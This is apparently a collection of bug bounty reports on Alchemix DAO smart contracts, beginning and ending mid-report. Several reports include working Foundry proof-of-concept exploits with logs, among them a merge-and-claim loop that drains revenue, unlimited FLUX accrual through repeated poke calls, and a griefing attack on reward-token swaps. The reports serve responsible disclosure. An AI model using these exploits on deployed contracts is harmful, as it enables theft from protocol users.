  claimable: 69999999999925890399
  i: 6
  claimable: 79999999999847050398
  i: 7
  claimable: 89999999999913275998
  i: 8
  claimable: 99999999999832859198
  claimable: 109999999999894354398
  Balance of the attacker: 649999999998841051983

```

At the end Balance of the attacker: 649999999998841051983 DAI

I also created a test case to show in a normal case, what the user get

```solidity
function testClaimRevenueMerge_Normal() external {
        // Setup the scenario when PoolAdapter is zero 
        address owner = revenueHandler.owner();
        hevm.prank(owner);
        revenueHandler.setPoolAdapter(dai, address(0x00));
        hevm.stopPrank();
        // Start of the test case
        uint256 revAmt = 1000e18; // Revenue is 1000 DAI 
        address attacker = address(this);        
        address Alice = address(0x11223344); 
        address Bob = address(0x55667788);
        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 4 weeks, false);        
        uint256 tokenId3 = createVeAlcx(Alice, 90*TOKEN_1, 4 weeks, false);        
      
        _accrueRevenueAndJump1Epoch(revAmt);

        console2.log("Balance of the revenueHandler: %s",IERC20(dai).balanceOf(address(revenueHandler)));
        console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
        hevm.warp((block.timestamp / WEEK) * WEEK + WEEK );
        console2.log("Current block.timestamp: %s", block.timestamp);
        revenueHandler.checkpoint();

        uint256 claimable = revenueHandler.claimable(tokenId1, dai);        
        
        console2.log("claimable: %s", claimable);        
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
        console2.log("Current block.timestamp: %s", block.timestamp);
        revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));        
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
    }

```

The log shows:

```solidity
[PASS] testClaimRevenueMerge_Normal() (gas: 2256883)
Logs:
  Balance of the revenueHandler: 1000000000000000000000
  Choose the block.timestamp to be exact time that have modulo WEEK equal to 0
  Current block.timestamp: 1716422400
  claimable: 199999999999936927998
  Balance of the attacker: 0
  Current block.timestamp: 1716422400
  Balance of the attacker: 199999999999936927998
```

So the Full POC code:

```
    function _accrueRevenueAndJump1Epoch(uint256 revAmt) internal {
        revenueHandler.checkpoint();
        _jumpOneEpoch();
        _accrueRevenue(dai, revAmt);
        revenueHandler.checkpoint();
        
    }
    function testClaimRevenueMerge_Hacked() external {
        address owner = revenueHandler.owner();
        // Setup the scenario when PoolAdapter is zero 
        hevm.prank(owner);
        revenueHandler.setPoolAdapter(dai, address(0x00));
        hevm.stopPrank();
        // Start of the test case
        uint256 revAmt = 1000e18; // Revenue is 1000 DAI 
        address attacker = address(this);
        address Alice = address(0x11223344); 
        address Bob = address(0x55667788);
        uint256 count = 10; 
        uint256[] memory tokenIds = new uint256[](count); 
        uint256 tokenId1; 
        uint256 tokenId2; 
        uint256 claimable; 

        for (uint256 i = 0; i < count; i++) {
           tokenIds[i] =  createVeAlcx(attacker, TOKEN_1, 4 weeks, false);
        }
               
        uint256 tokenId7 = createVeAlcx(Alice, 90*TOKEN_1, 4 weeks, false);        

        _accrueRevenueAndJump1Epoch(revAmt);       

        console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
        hevm.warp((block.timestamp / WEEK) * WEEK + WEEK );
        console2.log("Current block.timestamp: %s", block.timestamp);
        console2.log("Balance of the revenueHandler: %s",IERC20(dai).balanceOf(address(revenueHandler)));
        
        for (uint256 i = 0; i < count-1; ++i) {
            
            revenueHandler.checkpoint();
            console2.log("i: %s", i);
            tokenId1 = tokenIds[i]; 
            tokenId2 = tokenIds[i+1]; 
            claimable = revenueHandler.claimable(tokenId1, dai);
            console2.log("claimable: %s", claimable);
            revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));
            veALCX.merge(tokenId1, tokenId2);

        }
        
        revenueHandler.checkpoint();
        claimable = revenueHandler.claimable(tokenIds[count-1], dai);            
        console2.log("claimable: %s", claimable);
        revenueHandler.claim(tokenIds[count-1], dai, address(0x00), claimable, address(this));
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
    }

    function testClaimRevenueMerge_Normal() external {
        // Setup the scenario when PoolAdapter is zero 
        address owner = revenueHandler.owner();
        hevm.prank(owner);
        revenueHandler.setPoolAdapter(dai, address(0x00));
        hevm.stopPrank();
        // Start of the test case
        uint256 revAmt = 1000e18; // Revenue is 1000 DAI 
        address attacker = address(this);        
        address Alice = address(0x11223344); 
        address Bob = address(0x55667788);
        uint256 tokenId1 = createVeAlcx(attacker, 10*TOKEN_1, 4 weeks, false);        
        uint256 tokenId3 = createVeAlcx(Alice, 90*TOKEN_1, 4 weeks, false);        
      
        _accrueRevenueAndJump1Epoch(revAmt);

        console2.log("Balance of the revenueHandler: %s",IERC20(dai).balanceOf(address(revenueHandler)));
        console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
        hevm.warp((block.timestamp / WEEK) * WEEK + WEEK );
        console2.log("Current block.timestamp: %s", block.timestamp);
        revenueHandler.checkpoint();

        uint256 claimable = revenueHandler.claimable(tokenId1, dai);        
        
        console2.log("claimable: %s", claimable);        
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
        console2.log("Current block.timestamp: %s", block.timestamp);
        revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));        
        console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
    }
```

To run the test code, Copy the test cases above into the file: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/RevenueHandler.t.sol>

Run command

```

FOUNDRY_PROFILE=default forge test --fork-url https://rpc.ankr.com/eth --match-path src/test/RevenueHandler.t.sol --match-test testClaimRevenueMerge  --fork-block-number 19822400 -vvvvv  > testClaimRevenueMerge.log
```

The full log with debug information:

<https://drive.google.com/file/d/1FpWmwrAZGfwaDnrg67H-5Vq\\_xaokadaW/view?usp=sharing>


# 30973 - \[SC - Low] Incorrect Validation of treasuryPct in the Reve...

Submitted on May 9th 2024 at 23:24:07 UTC by @The\_Seraphs for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30973

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value
* Smart contract unable to operate due to lack of token funds
* Protocol insolvency

## Description

## Brief/Intro

The constructor of the `RevenueHandler` contract incorrectly checks an uninitialised state variable (`treasuryPct`) instead of the parameter (`_treasuryPct`). This issue could lead to setting an unintended treasury percentage without proper validation.

**Note:** *I've set as a medium severity, due to setting an incorrect treasury percentage could lead to financial discrepancies in revenue distribution between the Treasury and veALCX holders - Ultimately affecting the protocol's economic model. However, I do understand that this is part of a constructor, so the likelihood is **low** and the `setTreasuryPct()` can be used to fix once noticed.*

## Vulnerability Details

### Components Affected

* Contract Name: `RevenueHandler`
* Functionality: Constructor and Treasury Percentage Setup

## Impact Details

The constructor of the `RevenueHandler` contract is intended to initialise the treasury percentage (`treasuryPct`) used to calculate the portion of revenues sent to the treasury. The code currently checks the uninitialised state variable `treasuryPct` instead of the input parameter `_treasuryPct`. The correct line should validate `_treasuryPct` as it's the input provided during contract deployment and affects subsequent financial calculations.

If not corrected, this bug could allow the initialisation of the `RevenueHandler` with a `treasuryPct` exceeding 100%. This could lead to errors in calculating the treasury's share of revenues, potentially resulting in economic losses or unintended distribution of funds.

**Current implementation:**

```solidity
    constructor(address _veALCX, address _treasury, uint256 _treasuryPct) Ownable() {
        veALCX = _veALCX;
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
        require(treasuryPct <= BPS, "treasury pct too large"); // incorrect check
        treasuryPct = _treasuryPct;
    }
```

**Proposed fix:**

```solidity
    constructor(address _veALCX, address _treasury, uint256 _treasuryPct) Ownable() {
        veALCX = _veALCX;
        require(_treasury != address(0), "treasury cannot be 0x0");
        treasury = _treasury;
        require(_treasuryPct <= BPS, "treasury pct too large"); // corrected
        treasuryPct = _treasuryPct;
```

## References

* Link to code (contract): <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L73C1-L79C6>
* Link to code (test file): <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/test/BaseTest.sol#L151>

## Proof of Concept

* Using the existing `src/test/RevenueHandler.t.sol` test contract
* Add the following test function

```solidity
    function testRevenueHandlerTreasuryPct() public {
        uint256 treasuryPct = revenueHandler.treasuryPct();
        console.log("Treasury percentage: %s", treasuryPct);
    }
```

* Go to the `BaseTest.sol` test contract and adjust setUp() which initiates the `RevenueHandler` with the required parameters.

```solidity=153
        revenueHandler = new RevenueHandler(address(veALCX), admin, 50000); // @audit change to higher than BPT
```

* Run the test from the terminal `forge test --mt testRevenueHandlerTreasuryPct -vv`

**Results:**

```shell
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testRevenueHandlerTreasuryPct() (gas: 10892)
Logs:
  Treasury percentage: 50000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.25s (70.92ms CPU time)

Ran 1 test suite in 6.62s (6.25s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 30985 - \[SC - Medium] Griefing attack prevents admins from disabling ...

Submitted on May 10th 2024 at 03:16:13 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30985

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Description

The `Voter` smart contract can whitelist - and remove from the whitelist - tokens with the functions:

```
function whitelist(address _token) public {
    require(msg.sender == admin, "not admin");
    require(_token != address(0), "cannot be zero address");
    _whitelist(_token);
}
function removeFromWhitelist(address _token) external {
    require(msg.sender == admin, "not admin");
    _removeFromWhitelist(_token);
}
```

The Voter's whitelist is used in the `Bribe` smart contract to ensure only whitelisted tokens are **enabled** when calling `Bribe.addRewardToken(...)`.

In Bribe, it is impossible to disable a token explicitly; it is only possible for admins to "**disable an already enabled token while replacing it with a new one**" calling `Voter.swapReward(...)`, then the Voter smart contract will call `Bribe.swapOutRewardToken(...)`.

```
/// @inheritdoc IVoter
function swapReward(address gaugeAddress, uint256 tokenIndex, address oldToken, address newToken) external {
    require(msg.sender == admin, "only admin can swap reward tokens");
    IBribe(bribes[gaugeAddress]).swapOutRewardToken(tokenIndex, oldToken, newToken);
}
```

> swapReward in Voter

```
function swapOutRewardToken(uint256 oldTokenIndex, address oldToken, address newToken) external {
    // code here removed for simplicity

    isReward[oldToken] = false;
    isReward[newToken] = true;

    // code here removed for simplicity
}
```

> swapOutRewardToken in Bribe

We discover a griefing attack that makes the `swapOutRewardToken(...)` revert, preventing reward tokens from being disabled.

## Vulnerability Details

The `swapOutRewardToken(...)` function requires the new token that admins are trying to replace the old token with not to exist. (**rewards\[newToken]** must be equal to false).

```
function swapOutRewardToken(uint256 oldTokenIndex, address oldToken, address newToken) external {
    require(msg.sender == voter, "Only voter can execute");
    require(IVoter(voter).isWhitelisted(newToken), "New token must be whitelisted");
    require(rewards[oldTokenIndex] == oldToken, "Old token mismatch");

    // Check that the newToken does not already exist in the rewards array
    for (uint256 i = 0; i < rewards.length; i++) {
        require(rewards[i] != newToken, "New token already exists");
    }

    isReward[oldToken] = false;
    isReward[newToken] = true;

    // Since we've now ensured the new token doesn't exist, we can safely update
    rewards[oldTokenIndex] = newToken;

    emit RewardTokenSwapped(oldToken, newToken);
}
```

> Github link: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L138-L155>

### Attack vector

The logic of the public function `Bribe.notifyRewardAmount(token, amount)`, automatically enables any whitelisted token you pass as a parameter if it is not already enabled so the attack vector is:

**Step 1-** An admin whitelists a token in **Voter** (say **DAI**) to replace the old reward token with it.

**Step 2-** A malicious entity calls `Bribe.notifyRewardAmount(DAI, 1)` sending **1 wei** of day. The **DAI** token will be enabled automatically.

**Step 3-** The admin calls `Voter.swapReward(...)` to disable the old token and enable **DAI**, but his transaction reverts because **DAI** is already enabled.

Hence, the old reward token can't be disabled.

## Impact Details

Griefing attack that prevents admin from disabling a token.

> The 5-reports/48-hours limit makes time management crucial, and every day we invest in attempting to escalate the impact of a specific report decreases the total number of bugs we can submit to the Boost.
>
> We suspect the impact could be increased from griefing to a denial of service in parts of the protocol or the Bribe itself, but we can't afford to allocate time to dig deeper.

## Proof of Concept

The following test replicates the attack vector.

Add it to `alchemix-v2-dao/src/test/Voting.t.sol`:

```
    function testFrontRunningSwapOutRewardToken() public {

        // Get the bribe address
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Whitelist USDT
        hevm.prank(address(timelockExecutor));
        voter.whitelist(usdt);

        // Add USDT as a reward token
        hevm.prank(address(sushiGauge));
        IBribe(bribeAddress).addRewardToken(usdt);

        // Check that the reward token at index 0 is ACLX and reward token at index 1 is USDT
        assertEq(IBribe(bribeAddress).rewards(0), address(alcx), "reward token should be alcx");
        assertEq(IBribe(bribeAddress).rewards(1), usdt, "reward token should be usdt");

        // Whitelist DAI
        hevm.prank(address(timelockExecutor));
        voter.whitelist(dai);

        // Create attacker address
        address attacker = address(0x99);
        // Give the attacker 1 wei of DAI
        deal(address(dai), attacker, 1);
        // Prank the attacker
        hevm.prank(attacker);
        // Approve the bribe to spend 1 wei of DAI
        IERC20(dai).approve(bribeAddress, 1);
        // Prank the attacker
        hevm.prank(attacker);
        // Sends 1 wei of DAI to the bribe, then adds the DAI token
        // as reward and prevents admins from removing the USDT token as reward
        IBribe(bribeAddress).notifyRewardAmount(dai, 1);
        
        // Admin attempts to swap out USDT for DAI - but his transaction reverts
        // USDT can't be removed from the list of reward tokens
        hevm.expectRevert(abi.encodePacked("New token already exists"));
        hevm.prank(address(voter));
        IBribe(bribeAddress).swapOutRewardToken(1, usdt, dai);

    }
```


# 30990 - \[SC - Critical] Users can use Voterpoke to accrue Flux tokens i...

Submitted on May 10th 2024 at 05:45:32 UTC by @imsrybr0 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30990

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

Users can use Voter\@poke to accrue Flux tokens indefinitely.

## Vulnerability Details

```solidity
// ...
contract Voter is IVoter {
    // ...
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);  // <=== audit
    }

    function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        // ...
        IFluxToken(FLUX).accrueFlux(_tokenId); // <=== audit
        // ...
    }
    // ...
}
```

```solidity
// ...
contract FluxToken is ERC20("Flux", "FLUX"), IFluxToken {
    // ...
    function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
    // ...
}
```

Since `Voter@poke` does not check if the given token id already voted in the current epoch, it can be repeatedly called by a user to accrue Flux tokens indefinitely.

## Impact Details

* Artificially boost voting power for gauges voting.
* Claim Flux ERC20 tokens to :
  * Sell them
  * Use them to ragequit for free

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L195-L212>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L423>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188-L192>

## Proof of Concept

```solidity
    function testPokeRepeatedly() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        
        hevm.startPrank(admin);

        console2.log("Initial Unclaimed Flux", flux.unclaimedFlux(tokenId1));

        voter.poke(tokenId1);

        console2.log("Unclaimed Flux after one poke", flux.unclaimedFlux(tokenId1));

        for (uint256 i; i < 10; i++) {
            voter.poke(tokenId1);
        }

        console2.log("Unclaimed Flux after 10 other pokes", flux.unclaimedFlux(tokenId1));

        flux.claimFlux(tokenId1, flux.unclaimedFlux(tokenId1));

        console2.log("Flux ERC20 balance", flux.balanceOf(admin));
    }
```

## Results

```console
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testPokeRepeatedly() (gas: 1457575)
Logs:
  Initial Unclaimed Flux 0
  Unclaimed Flux after one poke 994553684669529957
  Unclaimed Flux after 10 other pokes 10940090531364829527
  Flux ERC20 balance 10940090531364829527

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 55.84s (45.19s CPU time)

Ran 1 test suite in 57.17s (55.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 30992 - \[SC - Insight] Inconsistent State Missing Event Emission in Fl...

Submitted on May 10th 2024 at 08:29:50 UTC by @Wizard for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30992

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol>

Impacts:

* contracts or users may not be aware that an NFT has been claimed, leading to inconsistent state

## Description

## Brief/Intro

The FluxToken.sol::nftClaim function does not emit an event when an NFT is claimed, which can lead to inconsistent state.

## Vulnerability Details

The nftClaim function marks an NFT as claimed by setting claimed\[\_nft]\[\_tokenId] = true, but it does not emit an event to notify external contracts that the NFT has been claimed. This is an important step in tracking claimed NFTs.

## Impact Details

While there are no direct financial losses associated with the missing event., not emitting an event would make logging and tracing claimed NFTs much harder for external contracts relying on the function's input.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol?utm\\_source=immunefi#L134>

## Proof of Concept

```
event ClaimedNFT(address indexed _nft, uint256 indexed _tokenId, address indexed _claimer);

                            --------Code--------- 

 function nftClaim(address _nft, uint256 _tokenId) external {
        // require claim to be within a year of deploy date
        require(block.timestamp < deployDate + oneYear, "claim period has passed");

        require(!claimed[_nft][_tokenId], "already claimed");

        // value of the NFT
        uint256 tokenData = 0;

        // determine which nft is being claimed
        if (_nft == alchemechNFT) {
            // require sender to be owner of the NFT
            require(IAlchemechNFT(_nft).ownerOf(_tokenId) == msg.sender, "not owner of Alchemech NFT");

            tokenData = IAlchemechNFT(_nft).tokenData(_tokenId);
        } else if (_nft == patronNFT) {
            // require sender to be owner of the NFT
            require(IAlEthNFT(_nft).ownerOf(_tokenId) == msg.sender, "not owner of Patron NFT");

            tokenData = IAlEthNFT(_nft).tokenData(_tokenId);
        } else {
            revert("invalid NFT");
        }

        // mark the token as claimed
        claimed[_nft][_tokenId] = true;
++      emit ClaimedNFT(_nft, _tokenId, msg.sender);

        uint256 amount = getClaimableFlux(tokenData, _nft);

        _mint(msg.sender, amount);
    }

```


# 30999 - \[SC - Critical] An edge-case mints times more FLUX than it should

Submitted on May 10th 2024 at 12:45:39 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30999

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Protocol insolvency
* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Background for Immunefi's triage team

In the 3rd interaction with ChainSecurity (referred to as `Version 3`) the `poke(...)` and `pokeTokens(...)` functions were added to Alchemix's codebase.

This report is about the `pokeTokens(...)` function.

Before diving right into it, we want to add context for Immunefi's triage team; below is ChainSecurity's overview of the new `pokeTokens(..)` function:

```
pokeTokens: introduced in Version 3, allows the admin to call the poke function on all veALCX tokens in the system. Note that we assume that this function is called by the keeper at the end of each epoch (otherwise users would be unable to vote).
```

> A link to the full PDF is on the Boost page.

Finally, here's Alchemix's overview of this function:

```
/**
    * @notice Update the voting status of multiple veALCXs to maintain the same voting status
    * @param _tokenIds Array of token IDs to poke
    * @dev Resets tokens that have expired
    */
function pokeTokens(uint256[] memory _tokenIds) external;
```

> Github Link: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/interfaces/IVoter.sol#L117-L122>

## Vulnerability Details

The `pokeTokens(...)` function is called by the **admin** to update the voting status of multiple veALCXs and reset expired tokens.

```
function pokeTokens(uint256[] memory _tokenIds) external {

    require(msg.sender == admin, "not admin");

    for (uint256 i = 0; i < _tokenIds.length; i++) {

        uint256 _tokenId = _tokenIds[I];

        // If the token has expired, reset it
        if (block.timestamp > IVotingEscrow(veALCX).lockEnd(_tokenId)) {
            reset(_tokenId);
        }

        poke(_tokenId);

    }

}
```

> Github Link: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol?#L215-L225>

The `reset(...)` function besides resetting the token, accrues FLUX rewards.

On top of maintaining the same voting status, the `poke(...)` function also accrues FLUX rewards.

As part of the system design, the amount of FLUX rewards that can be accrued in every epoch for a position that enabled "max lock" never decays.

> *Max lock is 1 year, if a user does not interact with the protocol for over a year his "max lock" position expires*

There's an edge case when using `pokeTokens(...)` to update the voting status of an expired position with max lock enabled. FLUX is accrued twice for the position, first inside `reset(...)` and then inside `poke(...)`.

## Impact Details

The impacts of minting more FLUX tokens than what the system was designed to are well known to the protocol.

FLUX is used to boost a veToken holder's voting power and exit a ve-position early, therefore edge cases that can break the protocol invariants and mint a bunch of additional FLUX will destabilize Alchemix's ecosystem.

## Proof of Concept

We modified the foundry test "**testVotingPowerDecay**" inside `alchemix-v2-dao/src/test/Voting.t.sol` to include this edge case.

Our test (named "**testVotingPowerDecayDoubleAccrue**") asserts that the user receives the correct amount of FLUX tokens.

When running this test in the current version of the codebase the user will receive 2x more FLUX tokens, therefore the test will "fail" until Alchemix fixes this edge case.

```
    function testVotingPowerDecayDoubleAccrue() public {
        // Kick off epoch cycle
        hevm.warp(newEpoch());
        voter.distribute();

        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, true);

        uint256[] memory tokens = new uint256[](2);
        tokens[0] = tokenId1;

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        // Vote and record used weights
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        // Move to the next epoch
        hevm.warp(newEpoch());
        voter.distribute();

        // Move to when token1 expire
        hevm.warp(block.timestamp + MAXTIME);

        // Amount of claimable flux for tokenId1 before poking
        uint256 claimableFLUX = IVotingEscrow(veALCX).claimableFlux(tokenId1);
        uint256 unclaimedFlux = flux.unclaimedFlux(tokenId1);

        // Mock poking idle tokens to sync voting
        hevm.prank(voter.admin());
        voter.pokeTokens(tokens);

        assertEq(flux.unclaimedFlux(tokenId1), unclaimedFlux + claimableFLUX, "claimed too much flux");

        console2.log("unclaimedFlux before poking", unclaimedFlux);
        console2.log("claimableFLUX before poking", claimableFLUX);
        console2.log("unclaimedFlux after poking", flux.unclaimedFlux(tokenId1));

    }
```


# 31008 - \[SC - High] Alcx rewards are permanently frozen when two to...

Submitted on May 10th 2024 at 19:51:14 UTC by @Adrianx for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31008

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

Alcx rewards are not claimed before burning the merged token, which leads to a permanent freezing of unclaimed Alcx rewards.

## Vulnerability Details

When two tokens are merged, the from token is burnt but the unclaimed alcx rewards of the from token are not claimed before burning it. This causes the unclaimed alcx rewards of the from token to be permanently frozen when the token is burnt.

```
        IFluxToken(FLUX).mergeFlux(_from, _to);

        // If max lock is enabled end is the max lock time, otherwise it is the greater of the two end times
        uint256 end = _locked1.maxLockEnabled
            ? ((block.timestamp + MAXTIME) / WEEK) * WEEK
            : _locked0.end >= _locked1.end
            ? _locked0.end
            : _locked1.end;

        locked[_from] = LockedBalance(0, 0, false, 0);
        _checkpoint(_from, _locked0, LockedBalance(0, 0, false, 0));
        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);

```

As seen above, the alcx rewards are not claimed before burning the merged token. This leads to a permanent freezing of unclaimed rewards.

## Impact Details

Alcx rewards are permanently frozen when the from tokens are burnt during token merging.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L649>

## Proof of Concept

Add the test below to VotingEscrow\.t.sol and check the logs to see the frozen rewards.

```
    function testFrozenRewards() public {
        uint256 tokenId1 = createVeAlcx(David, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(David, TOKEN_100K, MAXTIME / 2, false);
        hevm.startPrank(David);
        uint256 lockEnd1 = veALCX.lockEnd(tokenId1);
        assertEq(lockEnd1, ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK);
        assertEq(veALCX.lockedAmount(tokenId1), TOKEN_1);
        // Vote to trigger flux accrual
        hevm.warp(newEpoch());

        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        voter.vote(tokenId1, pools, weights, 0);
        voter.vote(tokenId2, pools, weights, 0);
        voter.distribute();
        hevm.warp(newEpoch());

        // Reset to allow merging of tokens
        voter.reset(tokenId1);
        voter.reset(tokenId2);
        veALCX.merge(tokenId1, tokenId2);
        uint256 frozenAlcxReward = distributor.claimable(tokenId1);

        // The unclaimed rewards are permanently frozen
        vm.expectRevert();
        distributor.claim(tokenId1, false);
        console.log("frozen AlcxReward", frozenAlcxReward);
        assertEq(veALCX.ownerOf(tokenId1), address(0));
        hevm.stopPrank();
    }
```

```
  frozen AlcxReward: 492146894738584492
```


# 31042 - \[SC - High] Claiming alchemic-token rewards can fail for so...

Submitted on May 11th 2024 at 11:50:44 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31042

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Temporary freezing of funds for 12 hours

## Description

## Description

When claiming an alchemic-token in `RevenueHandler`, the `claim(...)` function checks if a user has deposits in AlchemistV2 and attempts to pay his debt using the alchemic-token.

```javascript
function claim(
    uint256 tokenId,
    address token,
    address alchemist,
    uint256 amount,
    address recipient
) external override {

    // ----------------------- Code above is omitted for brevity

    // Get the deposits for the recipient
    (, address[] memory deposits) = IAlchemistV2(alchemist).accounts(recipient);
    IERC20(token).approve(alchemist, amount);

    // Only burn if there are deposits <-- wrong check, we should only burn if there is "debt"
    amountBurned = deposits.length > 0 ? IAlchemistV2(alchemist).burn(amount, recipient) : 0;

    // ----------------------- Code below is omitted for brevity

}
```

> Github Link: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L209-L213>

Users can have deposits in AlchemistV2 with no debt. Attempting to burn debt from an AlchemistV2 account that has 0 debt reverts the transaction, therefore **checking for deposits is wrong**, we should be checking for **debt** instead.

> (**int256 debt**, address\[] memory deposits) = IAlchemistV2(alchemist).accounts(recipient);

Users with deposits but no debt in AlchemistV2, when calling `RevenueHandler.claim(...)` with an alchemist address and an alchemic-token will have their *claim(...)* transaction reverted.

> Rewards are not permanently locked though. An advanced user can read the smart contract, detect the bug, and manually send a transaction to the revenueHandler smart contract with "*address(0)*" as the *alchemist* to bypass the bug and claim his reward.

## Impact Details

Claiming alchemic-token rewards can fail for some users

## Proof of Concept

Here's a test demonstrating the `revenueHandler.claim(...)` transaction reverting because the user has deposits but no debt.

```
    function testClaimAlchemicRevenue() external {
        revenueHandler.addAlchemicToken(address(alethAlchemist));

        uint256 revAmt = 1000e18;
        uint256 tokenId = _setupClaimableRevenue(revAmt);

        uint256 claimable = revenueHandler.claimable(tokenId, alusd);

        assertApproxEq(revAmt, claimable, revAmt / DELTA);

        deal(dai, address(this), 3 * 5000e18);
        IERC20(dai).approve(address(alusdAlchemist), 3 * 5000e18);
        alusdAlchemist.depositUnderlying(ydai, 3 * 5000e18, address(this), 0);

        revenueHandler.claim(tokenId, alusd, address(alusdAlchemist), claimable, address(this));

    }
```


# 31071 - \[SC - Critical] User can steal bribes and prevent other users f...

Submitted on May 12th 2024 at 08:42:33 UTC by @imsrybr0 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31071

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

User can steal bribes and prevent other users from claiming theirs.

## Vulnerability Details

```solidity
// ...
contract Voter is IVoter {
	// ...
    function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));

        for (uint256 i = 0; i < _bribes.length; i++) {
